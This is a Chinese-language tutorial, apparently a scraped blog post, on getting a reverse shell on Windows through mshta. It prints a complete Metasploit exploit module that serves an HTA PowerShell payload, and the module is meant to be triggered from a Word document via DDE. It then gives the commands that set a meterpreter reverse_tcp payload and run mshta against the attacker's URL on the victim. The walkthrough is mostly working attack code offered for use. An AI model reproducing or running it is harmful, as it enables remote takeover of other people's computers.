1. 程式人生 > >mshta 反彈shell

mshta 反彈shell

def msh send serve http csharp sudo end currently

  kali系統準備:

  復制以下ruby代碼到/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb目錄(要註意代碼縮進哦):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      ‘Name‘ => ‘Microsoft Office Payload Delivery‘,
      ‘Description‘ => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      ‘License‘ => MSF_LICENSE,
      ‘Arch‘ => ARCH_X86,
      ‘Platform‘ => ‘win‘,
      ‘Targets‘ =>
        [
          [‘Automatic‘, {} ],
        ],
      ‘DefaultTarget‘ => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      ‘win‘,
      p.encoded,
      ‘hta-psh‘,
      { :arch => ARCH_X86, :platform => ‘win ‘}
    )
    send_response(cli, data, ‘Content-Type‘ => ‘application/hta‘)
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

  在命令行啟動msf的服務:

service postgresql start

  再啟動msf:

sudo msfconsole

  重新加載所有模塊:

reload_all

  查找我們剛剛新建的msh_shell模塊:

search msh_shell

  加載這個模塊:

use exploit/windows/smb/msh_shell

  使用反彈shellcode, 配置本機地址, 配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168
.0.105 set uripath aaaa exploit

  window系統:

  打開運行命令,執行:

mshta http://kali系統的IP/aaaa

  kali系統就會收到一個window系統的shell

mshta 反彈shell